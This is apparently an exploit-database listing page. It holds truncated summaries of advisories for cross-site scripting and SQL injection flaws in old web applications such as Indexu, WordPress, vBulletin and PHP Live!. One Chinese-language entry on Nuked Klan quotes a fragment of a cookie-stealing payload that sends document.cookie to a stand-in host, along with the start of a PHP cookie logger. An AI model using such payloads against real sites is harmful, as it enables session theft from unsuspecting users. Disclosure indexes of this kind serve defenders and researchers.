Indexu 5.05.3 - new.php Multiple Cross-Site Scripting Vulnerabilities

Indexu 5.05.3 - new.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/22084/info Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to have...

Indexu 5.0/5.3 - 'mailing_list.php' Multiple Cross-Site Scripting Vulnerabilities

source: https://www.securityfocus.com/bid/22084/info Indexu is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in th...

DT_Guestbook 1.0 - index.php Cross-Site Scripting

DTGuestbook 1.0 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/22078/info The 'dtguestbook' program is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have...

Nuked Klan任意.SWF文件COOKIE窃取漏洞

Nuked Klan是一款基于ASP的WEB应用程序。 Nuked Klan处理.swf文件存在问题，远程攻击者可以利用漏洞获取其他目标用户的敏感COOKIE信息。 构建一个.swf文件，放置如下代码： getURL"javascript:alert'document.location="http://site.com/cookie.php? cookie="+document.cookie';"; 或者 ?php $cookie = $GET'cookie'; $ip = getenv 'REMOTEADDR'; $date=date"m/d/Y g:i:s a";...

Adobe Reader 9.1.3 Plugin - Cross-Site Scripting

Adobe Reader 9.1.3 Plugin - Cross-Site Scripting source: https://www.securityfocus.com/bid/21858/info Adobe Reader Plugin is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary...

WordPress 1.x2.0.x - template.php HTML Injection

WordPress 1.x2.0.x - template.php HTML Injection source: https://www.securityfocus.com/bid/21782/info Wordpress is prone to an HTML-injection scripting vulnerability because the application fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code would execute in the...

PHP Live! 3.2.2 Multiple Cross-Site Scripting Vulnerabilities

PHP Live! © OSI Codes Inc. enables live help and live customer support communication directly from your website. With PHP Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to your website. The application if full of xss holes...

vBulletin 3.5.x/3.6.x - SWF Script Injection

source: https://www.securityfocus.com/bid/21736/info vBulletin is prone to a vulnerability that may let remote attackers inject arbitrary script code into the application. If exploited, this vulnerability may let attackers steal cookie-based authentication credentials. Other attacks are also...

PHP Live! 3.2.2 setup/transcripts.php search_string Parameter XSS

PHP Live! 3.2.2 setup/transcripts.php searchstring Parameter XSS. CVE-2006-6769. Webapps exploit for php platform source: http://www.securityfocus.com/bid/21737/info PHP Live! is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplie...

XD100098.txt

Orkut Group Cross Site Scripting Vulnerability XDisclose Advisory : XD100098 Vulnerability Discovered: November 08th 2006 Advisory Released : December 11th 2006 Credit : Rajesh Sethumadhavan Class : Cross Site Scripting HTML Injection Severity : Medium Solution Status : Unpatched Vendor : Google...

Netwin SurgeFTP 2.3a1 - 'SurgeFTPMGR.cgi' Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/21534/info Netwin SurgeFTP is prone to multiple input-validation vulnerabilities because it fails to sanitize user-supplied input. A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data,...

Messageriescripthp 2.0 - existeemail.php?email Cross-Site Scripting

Messageriescripthp 2.0 - existeemail.php?email Cross-Site Scripting source: https://www.securityfocus.com/bid/21513/info Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize...

Messageriescripthp 2.0 - lire-avis.php?aa SQL Injection

Messageriescripthp 2.0 - lire-avis.php?aa SQL Injection source: https://www.securityfocus.com/bid/21513/info Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied...

AnnonceScriptHP 2.0 - email.php?id SQL Injection

AnnonceScriptHP 2.0 - email.php?id SQL Injection source: https://www.securityfocus.com/bid/21514/info AnnonceScriptHP is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data...

Messageriescripthp 2.0 - existepseudo.php?pseudo Cross-Site Scripting

Messageriescripthp 2.0 - existepseudo.php?pseudo Cross-Site Scripting source: https://www.securityfocus.com/bid/21513/info Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize...

Messageriescripthp 2.0 - 'existeemail.php?email' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21513/info Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...

Messageriescripthp 2.0 - 'lire-avis.php?aa' SQL Injection

source: https://www.securityfocus.com/bid/21513/info Messageriescripthp is prone to multiple input-validation vulnerabilities, including SQL-injection and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to...

Cilem Haber Free Edition - 'hata.asp?hata' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21511/info Ã?ilem Haber Free Edition is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code execute in the browser of an...

Vt-Forum Lite 1.3 - 'vf_info.asp?StrMes' Cross-Site Scripting

source: https://www.securityfocus.com/bid/21428/info Vt-Forum Lite is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting use...

ac4p Mobile - polls.php Multiple Cross-Site Scripting Vulnerabilities (2)

ac4p Mobile - polls.php Multiple Cross-Site Scripting Vulnerabilities 2 source: https://www.securityfocus.com/bid/21427/info Mobile is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issu...